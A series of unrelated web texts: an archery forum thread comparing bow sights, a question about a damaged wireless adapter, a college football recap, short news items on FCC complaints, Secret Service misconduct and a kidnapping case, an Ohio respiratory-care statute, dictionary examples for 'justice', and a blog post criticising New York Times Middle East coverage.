I'm looking at going with trophy ridge matrix 5-pin. I have a tru-glo extreme now. I don't like the pins from the side, They block my view to much since the pins are close together. What are the likes and dislikes of the matrix?
it all depends on what you are going to do with it. i like the sight for hunting but for shooting 3-D it sucks (in my opinion) because you are shooting at a little spot and say it is a deer target at 30 yards you have to move the sight to the side so you can see your spot on the target then move the pin back. but like i said i don't like the pins in a a line but you may like it. you also may try smaller pins like .019 pins. i went to a toxonics with micro pins i love it but good luck in your choices"Life was easy then man began to think"
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I'm going to be using it for hunting.
Trophy Ridge?
I have a trophy ridge 5-pin, you want it?
I liked the thought of in-line pins when I first got it. However, after using it for awhile, I learned that the smallest twig or a bump of the finger can move the pins out of position. Try to move them "back in-line", forget it. I went to a Spott-Hogg and never looked back. The disadvantage far out weighted the advantage to me, the Hogg is extremely micro adjustable and durable.
How fast is your bow and what distances are you using?Keith
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Spot hogg.
I was in the forum at mathews and alot of people liked the spot hogg sights. Does anyone have a pic of what they look like looking thru them. and not a side view. I like the 7 sdp. since it has seven pins instead of 5.
I what to go with some kind of sight that has .019 pins no matter what brand.
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Trophy Ridge_NG (IMHO)
Hi ElkFever,
I have to agree with Keith in SD 100%.
I thought I'd like the TR In-line design, but it is actually one of the worst sights I've ever used (IN MY OPINION)
-due to blockage of view between pins. You can't "pin-stack" or sight-in on in-between yardages since the pins block one another--vertically-kinda ironic..
-the sight is plastic/composite, not metal, and yes the pins will shift if you fumble-finger near the latches.
-It takes 3+ different allen wrenches to set up.
-3rd axis adjustment was unnecess.
-also found the pins not lining up exactly vertical ( some were slanted left, some right)- not a well engineered piece of hardware IN MY OPINION> Pins also were very dark, and a blue-light was needed for indoor shoots.
I, like Keith went w/ a Hogg-It, and wish I had donated the money, or bought arrows for kids; rather than that sight.
"Nuff said...?"
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Drop Away rest; A/C/C 3-49 (w/ Blazers)
True Ball King George
SIMS all over,
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Spot Hoggit is a pretty awesome sight and hard to beat construction wise, BUT, as a very avid bowhunter and one that loves to hunt till the very last min of daylight, I don't like the idea of putting out all that $$ on a sight and then having to buy a "light" to use to see the fiber pins. And you guys have got to admit that the pins are not all that bright on the spot hogg's at least the ones that I have seen.
Now, another option, for not only a great hunting sight, but 3D sight as well is the Viper Pro Predator. Very well constructed and has a 7.25" fiber in a .019pin. Now, this thing collects light and the pins you can see even after the last available hunting light has diminished. You can buy a light for it if you want to spend the $$ but you don't really need it. Also comes with a 2x, 3x, 4x and 6x lense if needed. Well worth looking into
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Trophy Ridge
I have never owned a TR Matrix but have seen some on bows at the shop. The guys that I have talked to have mixed feelings about them some like them some don't. Extreme and Viper are hot sellers at the shop. But I was in there and seen a sight that blew me away "I THINK" it was a Special Ops by Sure-loc very bright and made very rugged. But I am still leaning toward the Montana Black Gold Flash Point. To each his own shoot what you like is my motto. Have fun fella's!!!!
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TR Matrix
I have used this sight the last 2 months for 3d shoots. I love it. I think it is just up to the shooter. The glow sticks and the top mounting light both work very well to light up the pins. I don't understand what everyone is talking about when they say the the pins can be moved by a twig? The pins are vertically adjusted without tools. You open a release and then move the pins. With mine even after the release is open the pins are hard to move. Anyways that my 2 cents.
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go with a fuse they are awsome in low light
300 Dual Coil Sight Housing
I dont like the Trophy ridge either, bought one for my huntin buddy on his birthday, the thing is constantly loosening up and I agree about the releases for moving the pins.I cut things up and split them down!
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TR....... great sight!!
I got a Trophy ridge Matrix sight last year for father's day, GREAT sight! The pins never loosen up. You have to try to move them even with the locking cam loosened. I brought the whole thing down to far and caught one of the fibers on a broadhead blade and broke it. TR replaced it no questions asked except where to send it. I handed my bow to a buddy to try a couple shots, after he dropped it I decided he had shot it enough. Later when I started shooting 3 to 4 inches high I discovered a crack that must have been the result of being dropped. Once again, no questions asked and a replacement was here in 5 days. Funny thing about that plastic composite sight....... I welded the broken piece with a TIG torch and aluminum filler wire. When I got done that plastic composite looked just like aluminum. But then I've only been welding for slightly over 40 years and it just goes to show you that even an old dog can learn to weld plastic.
i just ordered a extreme th900 fri. should be here tomorow. i looked at a couple of the trophy ridges and for the money i didnt think they were worth it.
it seemed to me it would be hard to aim between the pins06 mathews switchback xt 70# 27"
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I dont know too much about it, so i need a hint of some of the wireless guys..
My Adapter, alfa 500 mw is damaged.. its tx power is incredibly low now, kind of just 1 meter range conectivity..
i think it could be because i tried to use it once, without an antenna
yeah, now you could be wondering why.. just curiosity..
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Brevard, N.C.- Despite pulling within seven points of Presbyterian College late in the second quarter, the Tornados couldn't overcome an early 17-0 deficit and fell to the Blue Hose 45-10 at Bailey Memorial Stadium on Saturday.
Presbyterian's Michael Ruff returned the opening kickoff 92 yards for a touchdown to give the Blue Hose a 7-0 advantage. A Shawn Armstrong touchdown run later in the first quarter and an Aaron Mayes field goal in the second would give the home team a 17-0 lead.
The Tornados, however, would answer with 10 straight points of their own.
A 38-yard run by Andre Overholt sparked an eight-play, 54-yard drive to put the Tornados into field goal range early in the second quarter. A 40-yard field goal by Ben Noboa would make it 17-3.
Brevard's defense then forced a three-and-out, giving the Tornados the ball at their own 20-yard line with 6:40 remaining in the first half.
The Tornados then drove 80 yards to score their first touchdown of the season with 1:13 remaining in the second quarter. Eric Watts hauled in a five-yard touchdown pass from Aaron Reese to culminate the drive, and put Brevard within a touchdown of Presbyterian. The duo connected for 68 yards in the air on the afternoon, including a game-long 27-yard pass on the touchdown drive. Reese finished 9-for-15 with 81 yards and a touchdown, and also scrambled for 34 yards.
However, the Blue Hose were able to swing the momentum back in their favor before the half concluded after Presbyterian's Joel Ruiz returned the kickoff 12 yards to the Presbyterian 43-yard line. Two quick passes from quarterback Tamyn Garrick to Michael Ruff moved the football to Brevard's 44-yard line.
After a four-yard pass to Derel Howard, Garrick found Arthur Williams in the end zone with a 39-yard touchdown pass with :24 seconds remaining in the half. Presbyterian went into the half with a 24-10 lead, and the Tornados never got the momentum back in their favor.
The Blue Hose finished with 240 yards on the ground on the afternoon, including four rushing touchdowns. Lance Byrd ran for 109 yards on 13 carries to lead the Blue Hose rushing attack, while Demarcus Rouse gained 83 yards on eight carries and scored three rushing touchdowns for Presbyterian.
Overholt and Kelvin Jeter each ran for 53 yards for the Tornados, who finished with 179 rushing yards as a team.
Brevard opens their 2012 home campaign on Saturday, September 8th against Virginia Union University at Brevard Memorial Stadium. Kickoff is set for 6 p.m.


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The Red Hot Chili Peppers are at the center of another, much smaller Super Bowl controversy about nipples.
According to "Deadspin," the FCC received a total of 53 complaints about the big game last month, and a number of them had to do with the fact that Anthony Kiedis and Flea took the stage topless.
One angry viewer called it a "gratuitous display of nudity" and argued that if Janet Jackson can't "show a nipple," these guys shouldn't either. Others brought up Jackson's 2004 wardrobe malfunction, and said that allowing the Chili Peppers to go shirtless was sexist.
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The Ohio respiratory care board shall regulate the practice of respiratory care in this state and the persons to whom the board issues licenses and limited permits under this chapter and shall license and register home medical equipment services providers under Chapter 4752. of the Revised Code. Rules adopted under this chapter that deal with the provision of respiratory care in a hospital, other than rules regulating the issuance of licenses or limited permits, shall be consistent with the conditions for participation under medicare, Title XVIII of the "Social Security Act," 79 Stat. 286 (1965), 42 U.S.C.A. 1395, as amended, and with the respiratory care accreditation standards of the joint commission on accreditation of healthcare organizations or the American osteopathic association.
The board shall:
(A) Adopt, and may rescind or amend, rules in accordance with Chapter 119. of the Revised Code to carry out the purposes of this chapter, including rules prescribing:
(1) The form and manner for filing applications for licensure and renewal, limited permits, and limited permit extensions under sections 4761.05 and 4761.06 of the Revised Code;
(2) The form, scoring, and scheduling of examinations and reexaminations for licensure and license renewal;
(3) Standards for the approval of educational programs required to qualify for licensure and continuing education programs required for license renewal;
(4) Continuing education courses and the number of hour requirements necessary for license renewal, in accordance with section 4761.06 of the Revised Code;
(5) Procedures for the issuance and renewal of licenses and limited permits, including the duties that may be fulfilled by the board's executive director and other board employees;
(6) Procedures for the denial, suspension, permanent revocation, refusal to renew, and reinstatement of licenses and limited permits, the conduct of hearings, and the imposition of fines for engaging in conduct that is grounds for such action and hearings under section 4761.09 of the Revised Code;
(7) Standards of ethical conduct for the practice of respiratory care;
(8) Conditions under which the license renewal fee and continuing education requirements may be waived at the request of a licensee who is not in active practice;
(9) The respiratory care tasks that may be performed by an individual practicing as a polysomnographic technologist pursuant to division (B)(3) of section 4761.10 of the Revised Code;
(10) Procedures for registering out-of-state respiratory care providers authorized to practice in this state under division (A)(4) of section 4761.11 of the Revised Code;
(11) Requirements for criminal records checks of applicants under section 4776.03 of the Revised Code;
(12) Procedures for accepting and storing copies of hyperbaric technologist certifications filed with the board pursuant to division (A)(11) of section 4761.11 of the Revised Code.
(B) Determine the sufficiency of an applicant's qualifications for admission to the licensing examination or a reexamination, and for the issuance or renewal of a license or limited permit;
(C) Determine the respiratory care educational programs that are acceptable for fulfilling the requirements of division (A) of section 4761.04 of the Revised Code;
(D) Schedule, administer, and score the licensing examination or any reexamination for license renewal or reinstatement. The board shall administer the licensing examinations at least twice a year and notify applicants of the time and place of the examinations.
(E) Investigate complaints concerning alleged violations of section 4761.10 of the Revised Code or grounds for the suspension, permanent revocation, or refusal to issue licenses or limited permits under section 3123.47 or 4761.09 of the Revised Code. The board shall employ investigators who shall, under the direction of the executive director of the board, investigate complaints and make inspections and other inquiries as, in the judgment of the board, are appropriate to enforce sections 3123.41 to 3123.50, 4761.09, and 4761.10 of the Revised Code. Pursuant to an investigation and inspection, the investigators may review and audit records during normal business hours at the place of business of a licensee or person who is the subject of a complaint filed with the board or at any place where the records are kept.
Except when required by court order, the board and its employees shall not disclose confidential information obtained during an investigation or identifying information about any person who files a complaint with the board.
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(F) Conduct hearings, keep records of its proceedings, and do other things as are necessary and proper to carry out and enforce the provisions of this chapter;
(G) Maintain, publish, and make available upon request, for a fee not to exceed the actual cost of printing and mailing:
(1) The requirements for the issuance of licenses and limited permits under this chapter and rules adopted by the board;
(2) A current register of every person licensed to practice respiratory care in this state, to include the addresses of the person's last known place of business and residence, the effective date and identification number of the license, the name and location of the institution that granted the person's degree or certificate of completion of respiratory care educational requirements, and the date the degree or certificate was issued;
(3) A list of the names and locations of the institutions that each year granted degrees or certificates of completion in respiratory care;
(4) After the administration of each examination, a list of persons who passed the examination.
(H) Submit to the governor and to the general assembly each year a report of all of its official actions during the preceding year, together with any findings and recommendations with regard to the improvement of the profession of respiratory care;
(I) Administer and enforce Chapter 4752. of the Revised Code.
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Go home Secret Service, you're drunk
A Secret Service scandal in 2012 involving alcohol and prostitutes led to new rules specifying that, while traveling for work, "alcohol may only be consumed in moderate amounts." Now, the agency is in the spotlight again after an agent was reportedly found passed out inebriated on the floor of an Amsterdam hotel last Sunday, only hours ahead of the president's arrival in the country.
Tuesday night, Secret Service spokesman Ed Donovan acknowledged that the agency "did send three employees home for disciplinary reasons." According to a source who spoke with the Associated Press, two agents weren't drinking themselves, but were disciplined for failing to intervene with the hallway sleeper. All three were placed on an administrative leave and sent back to the United States according to the Washington Post, which first broke the story.
The agents involved are reported to be members of the Secret Service's Counter Assault Team, an elite unit whose mission is to engage potential threats and present themselves as targets so other agents can escort the president away from danger.
Charged with guarding the president's life, the Secret Service had been known for keeping a low profile while maintaining high standards of professionalism before a series of negative incidents tarnished the group's reputation.
The modern era of Secret Service scandals began in April 2012 with a group of agents stationed in Cartagena, Colombia ahead of a presidential visit. A night of drunken carousing ended in a quarrel between a prostitute and an agent she insisted owed her money for services rendered. That incident resulted in an investigation involving eleven Secret Service agents suspected of drinking and soliciting prostitutes, individuals in other federal agencies and members of the military.
The Colombia charges prompted the Secret Service to conduct its own internal review into misconduct within the agency and later led to a separate investigation by the Department of Homeland Security's inspector general. Based on more than 200 interviews and the results of 2,575 agents surveyed, the inspector general's report found that 10 percent of respondents knew of incidents when colleagues' excessive drinking led to security concerns. Among those who acknowledged knowing of other agents being drunk, 20 percent said that excessive drinking was "systemic throughout the service."
Overall, the inspector general report concluded that misconduct was not widespread within the agency, but the review process still led to new, stricter rules about drinking and a more explicit prohibition against agents engaging with prostitutes.
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Why are we so confused about the difference between revenge and justice?
justice Samuel Alito rightfully warned against a sweeping gay marriage decision during oral arguments on Monday.
As for Diallo, on Monday she had her day in court, but nobody outside the chambers of justice Douglas McKeon heard what was said.
Such is the nature of justice in the U.S. District of Massachusetts.
For former Goldman Sachs board member Rajat Gupta, justice was swift, writes Allan Dodds Frank.
It is no offence, therefore, by God to speak of His justice and His rights.
Charming as she was, he wondered if she could do the interview—him—justice.
Conscience did not answer, but she felt the justice of the criticism.
"There does not seem to be any good reason for this concealment," added the justice.
Such a course would comport as little with justice as with mercy.
mid-12c., "the exercise of authority in vindication of right by assigning reward or punishment;" also "quality of being fair and just," from Old French justice "justice, legal rights, jurisdiction" (11c.), from Latin iustitia "righteousness, equity," from iustus "upright, just" (see just (adj.)). The Old French word had widespread senses, including "uprightness, equity, vindication of right, court of justice, judge." The word began to be used in English c.1200 as a title for a judicial officer. Meaning "right order, equity" is late 14c. Justice of the peace first attested early 14c. In the Mercian hymns, Latin iustitia is glossed by Old English rehtwisnisse. To do justice to (someone or something) "render fully and fairly showing due appreciation" is from 1670s.
A figure in painting and sculpture that symbolizes the impartiality of true justice. The figure of Justice usually appears as a blindfolded woman with a scale in one hand and a sword in the other.


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Three men have been charged with allegedly kidnapping then shooting and wounding a West Valley City teen to steal drugs from him.
Brandon Carl Montoya, 28, Robert Salvador Apodaca, 22, and Gilbert E. Vigil, 19, were charged in 3rd District Court on Friday with aggravated kidnapping, aggravated robbery and four counts of felony discharge of a firearm, all first-degree felonies. Apodaca was also charged with obstruction of justice, a second-degree felony.
On Nov. 28, police claim Montoya called a 16-year-old boy and asked him if he wanted to sell prescription painkillers. A West Valley City detective determined that Montoya also called Apodaca and told him he needed a gun to scare someone selling drugs and to "make some easy money," according to the charges. Apodaca in turn called Vigil, who agreed to provide the gun, and the three got into Apodaca's girlfriend's Chevy Malibu and picked up the teen near 6700 W. 3800 South, the charges add.
Once in the car, Vigil pointed a revolver at the teen and Montoya demanded he hand over his drugs "because he did not want him to die," the charges state. The teen refused, so Apodaca told Vigil to shoot him which he did, four times, and the teen "screamed that he did not want to die and to be let out of the car," the charges add.
Police say the car pulled to the side of the road at 7135 W. 3500 South, where one suspect pulled the wounded teen out of the car. The car drove off and someone found the teen lying on the sidewalk, shot once in the stomach and three times in his right thigh.
The teen was taken to the hospital, and West Valley City detectives arrested the three men the next day.
Apodaca told investigators that he cleaned the Malibu after the shooting, throwing away the floor mats. He threw his clothes out the car's window while driving on the freeway. During questioning, Vigil told police where the gun was hidden in his bedroom.
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NY Times in dreamland about the Palestinians (AMERICAN THINKER) Leo Rennert / Blog 04/04/12)
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New York Times columnist Tom Friedman has come up with a new brainstorm to resolve the Israeli-Palestinian conflict. To allay Israeli security concerns, the Palestinians, he writes, must couple non-violent resistance with their own map for a two-state solution. "Just calling for an ´end to occupation´ won´t cut it," he advises The map, he explains, would demonstrate that Palestinians are ready to settle for 95 percent of the West Bank and all Arab neighborhoods of East Jerusalem ("A Middle East Twofer," page A19, April 4).
However, Friedman seems to overlook the fact that he´s merely recycling the two-state map that Bill Clinton and then-Prime Minister Ehud Barak offered Yasser Arafat in 2000 and 2001 -- a map immediately rejected by Yasser Arafat. Friedman also seems to have forgotten that such a map again was offered to the Palestinians more recently, in 2008, by then-Prime Minister Ehud Olmert - again a map immediately repudiated by Mahmoud Abbas. In fact, Olmert even went one better on Friedman by throwing in a huge sweetener for the Palestinians -- internationalization of Jerusalem´s religious shrines under a consortium in which the Palestinians, Jordan and Saudi Arabia would be represented.
Also overlooked by Friedman is that Abbas and Palestinians have been brandishing a completely different map of their own -- a map that leaves no room whatsoever for Israel. It´s a map that projects a one- state solution -- a Palestinian state -- from the Jordan River to the Mediterranean Sea. Never mind Hamas´s up-front objective to eliminate Israel. The Palestinian Authority´s agenda reaches the same objective. And its desired borders infuse PA textbooks, media, sermons and other types of propaganda.
To this end, Abbas conducts an all-out global campaign to delegitimize Israel by erasing all Jewish historical ties to the Holy Land. The latest such anti-Israel propaganda piece was disseminated by the Palestinian Authority during Holy Week -- a contention that Moses really was a Muslim who led a Muslim Exodus from Egypt. Under Abbas, Jews aren´t even entitled to their Passover.
In an apt parallel, Friedman´s fantasy world, which abets such Palestinian myths, is also inhabited by Times correspondents in the paper´s news pages. Witness two "news" articles in the same March 4 edition
Writing about Israeli government plans to evict Jewish settlers from a house they bought in Hebron, correspondent Isabel Kershner provides her own history of Hebron --- a history that fails to mentions Jews or Jewish. ("Netanyahu slows eviction of Settlers From a House" page A8).
"Hebron is a hotly contested city where several hundred Jewish settlers live among almost 200,000 Palestinians," Kershner writes. "The house in question is near the Cave of the Patriarchs, where Abraham, Isaac, Jacob and their wives, the biblical matriarchs, are said to be buried. The site is revered by Muslims and Jews and has been fought over for centuries."
Note that Kershner uses "biblical" instead of "Jewish" so as to give Muslims as much of a claim to Hebron as Jews may have. When it comes to revering the Cave of the Patriarchs, Kershner even puts Muslims ahead of Jews.
Kershner´s history fails to point out that Hebron is the site of the oldest Jewish community in the world. In addition to the Cave of the Patriarchs, Hebron is where King David was anointed and reigned for seven years before heading to Jerusalem. Jews lived in Hebron for centuries until 1929 when an Arab pogrom murdered 67 Jews and drove all other Jews out of Hebron, Judaism´s second holiest city. Hebron´s Judenrein status was short-lived, however. Israel captured the city in the 1967 war.
None of this interests Kershner or appears in her article.
Pro-Palestinian spin also infuses an article by correspondent Marlise Simons about the International Criminal Court tossing out a Palestinian charge that Israel committed "war crimes" during its three-week counter-terrorism offensive in Gaza in late 2008. The court held that it can only deal with parties that have attained statehood ("Court Rejects Palestinians In Their bid For a Tribunal" page A9).
Simons´ article is laced with sympathy for the Palestinians´ latest failure to get statehood recognition. "Some groups still express hope that a prospective Palestinian state can take its case to the court because it has found few places to seek justice," Simons writes.
What Simons fails to acknowledge is that the Palestinian idea of "justice" leaves Israel with none at all.
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